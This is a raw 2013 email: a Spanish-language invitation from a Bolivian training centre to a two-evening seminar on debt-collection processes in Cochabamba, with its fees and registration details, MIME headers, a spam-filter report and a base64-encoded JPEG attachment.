bh=Pt3Q3tgagp5axBs8tvyviwSiwcArpjY/3Jvm12wPiJY=; b=LlY2Ewmv4ihg58Hx+th5FXWf4rQd94pHUbQXsHLn6XV53+KYlUbLXacjBF9E39zcwP JvD9FS501PgqTXHh1dHG1KMQxC1wCrfB0dJMtL7F2eI6LOHXPGwWvifd4uxiwWbRvlQZ mcoJLevrAIgg3rmZzIRsIA/8cfNbvEYJNACKEWXe9qSzX7e+lanEd4YzibxMsBsiKI7i rYUC1eRMPmDpelKAatWbOtdSdL0wGpDHyd0bEK5y4J2NJZBoAu83IwRmeuwRTmDZ3sSd NSJJJL9EG7yKWQR9Una67nOxP0L7WgsbjlngsHECoOdHMw2jfNnrOK+5ofL4l1HtA3Mk tN+w== MIME-Version: 1.0 X-Received: by 10.50.83.70 with SMTP id o6mr7610623igy.12.1378414289069; Thu, 05 Sep 2013 13:51:29 -0700 (PDT) Received: by 10.50.91.196 with HTTP; Thu, 5 Sep 2013 13:51:28 -0700 (PDT) Reply-To: deccip@gmail.com Date: Thu, 5 Sep 2013 16:51:28 -0400 Message-ID: Subject: =?ISO-8859-1?Q?=D8_La_Gesti=F3n_De_Cobranzas?= From: registro ccip X-ASG-Orig-Subj: =?ISO-8859-1?Q?=D8_La_Gesti=F3n_De_Cobranzas?= To: undisclosed-recipients:; Content-Type: multipart/mixed; boundary=089e011607780dbdfb04e5a91683 X-Barracuda-Connect: mail-ie0-f173.google.com[209.85.223.173] X-Barracuda-Start-Time: 1378414289 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 02ab883994ea24cb68f02034e721c208-6295-htm X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140372 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --089e011607780dbdfb04e5a91683 Content-Type: multipart/alternative; boundary=089e011607780dbdf504e5a91681 --089e011607780dbdf504e5a91681 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable *CCIP. * *Centro De Capacitaci=F3n Integral Profesional* *TE INVITA AL:* *SEMINARIO * *=93PROCESOS EN LA GESTION DE COBRANZAS=94 * *COCHABAMBA -BOLIVIA* El Seminario tiene como objetivo brindar a los participantes el conocimiento e informaci=F3n actualizada referida a la tecnolog=EDa, organizaci=F3n y proceso de cobranza legal a nivel pre judicial, judicial o extrajudicial. Analizando e interpret=E1ndose cabalmente la normatividad legal vigente, incluyendo la casu=EDstica que grafica y optimiza el aprendizaje. DIRIGIDO A: Coordinadores, Jefes de Departamento, Supervisores, Personal de Ventas, Personal de Cobranza, Estudiantes y P=FAblico en General. TEMAS A TRATAR: =D8 La Gesti=F3n De Cobranzas =D8 El Cr=E9dito Y Su Estructura =D8 Criterios Para Una Gesti=F3n Efectiva De Cobranza =D8 Tipos De Cobranza =D8 T=E9cnicas Efectivas De Cobranza =D8 Acciones Legales Por Los Incumplimientos De Cr=E9ditos =D8 La Cobranza Judicial Como Herramienta En La Recuperaci=F3n Del Cr=E9di= to FECHA DE REALIZACI=D3N: *12 y 13 de Septiembre* HORARIO: *19:00 a 22:00 horas* LUGAR: EDIF. CAMARA DE COMERCIO Y SERVICIOS COCHABAMBA COSTO: Bs. *BS. 200.-** HASTA EL 6 DE SEPTIEMBRE* *Bs. 250.- HASTA EL DIA DEL EVENTO* INFORMES Y RESERVAS: TELEFONOS: 79511480 =96 70643311 DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit. Cta. En bs. N=BA 3001-01-205806-1 Confirmar a: deccip@gmail.com Incluye material did=E1ctico, certificado a nivel curricular y refrigerios MAYOR INFORMACION CLICK ACA FAVOR SOCIALIZAR ESTA INFORMACI=D3N --089e011607780dbdf504e5a91681 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

CCIP. =A0

Centro De Capacitaci=F3n Integral Profesional

TE INVITA AL:

SEMINARIO

=93PROCESOS EN LA GESTION DE COBRANZAS= =94

COCHABAMBA -BOLIVIA

El Seminario tiene como objetivo brindar a los participant= es el conocimiento e informaci=F3n actualizada referida a la tecnolog=EDa, organi= zaci=F3n y proceso de cobranza legal a nivel pre judicial, judicial o extrajudicial. Analizando e interpret=E1ndose cabalmente la normatividad legal vigente, incluyendo la casu=EDstica que grafica y optimiza el aprendizaje.

DIRIGIDO A: Coordinadores, Jefes de Dep= artamento, Supervisores, Personal de Ventas, Personal de Cobranza, Estudiantes y P=FAblico en General.=

TEMAS A TRATAR:

=D8=A0 La Ges= ti=F3n De Cobranzas

=D8=A0 El Cr= =E9dito Y Su Estructura

=D8=A0 Criter= ios Para Una Gesti=F3n Efectiva De Cobranza

=D8=A0 Tipos = De Cobranza

=D8=A0 T=E9cn= icas Efectivas De Cobranza

=D8=A0 Accion= es Legales Por Los Incumplimientos De Cr=E9ditos

=D8=A0 La Cob= ranza Judicial Como Herramienta En La Recuperaci=F3n Del Cr=E9dito

FECHA DE REALIZACI=D3N:=A012 y 13 de Septiembre

HORARIO:=A019:00 a 22:00 horas

LUGAR:=A0EDIF. CAMARA DE COMERCIO =A0Y SERVICIOS COCHABAMBA

COSTO: Bs. BS. 200.= -=A0 HASTA EL 6 DE SEPTIEMBRE

Bs. 250.-=A0HASTA EL DIA DEL EVENTO

=A0INFORMES Y RESERVAS: TELEFONOS: 79511480 =96 70643311

DEPOSITO PARA LA INSCRIPCION: Banco Los Andes Pro Credit.

Cta. En bs. N=BA 3001-01-205806-1

Confirmar a: deccip@gm= ail.com

Incluye material did=E1ctico, certificado a nivel curricular y refrigerios

=A0

MAYOR INFORMACION CLICK ACA

=A0

FAVOR SOCIALIZAR ESTA INFORMACI=D3N

=A0

--089e011607780dbdf504e5a91681-- --089e011607780dbdfb04e5a91683 Content-Type: image/jpeg; name="=?ISO-8859-1?Q?Presentaci=F3n1=2Ejpg?=" Content-Disposition: attachment; filename="=?ISO-8859-1?Q?Presentaci=F3n1=2Ejpg?=" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hl8g9ne30 /9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIf IiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/2wBDAQoLCw4NDhwQEBw7KCIoOzs7Ozs7 Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozv/wAARCAOUAqMDASIA AhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQA AAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3 ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWm p6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEA AwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSEx BhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElK U1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3 uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDA/wCE h14Eg63qP/gU/wDjR/wkWvf9BvUf/AqT/GqB5JpNtfR+zp/ynzftZ9zQ/wCEi17/AKDeo/8AgVJ/ 8VR/wkOvf9BvUf8AwKf/AOKrP20bfej2VP8AlD2su5of8JDr3/Qb1H/wKf8A+Kpf+Eh13/oOaj/4 FSf41nbfejaaPZU/5Q9pLuaP/CQ67/0HNR/8CpP8aP8AhIdd/wCg5qP/AIFP/jWdjFFHsqf8oe0l 3NH/AISLXB/zHNR/8CpP8ansdb1i61rS7OXXNT8q5vYopNt5Ip2s4B5DVj7cjmrOj5HiXR8nhNQh b8nFY14QVNtI0pVHzptnrWoaPpWmx7rnWdZQDnJ1W4/+KrhdU8X6daztHbalq7qOjHUpjn/x6ofi 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 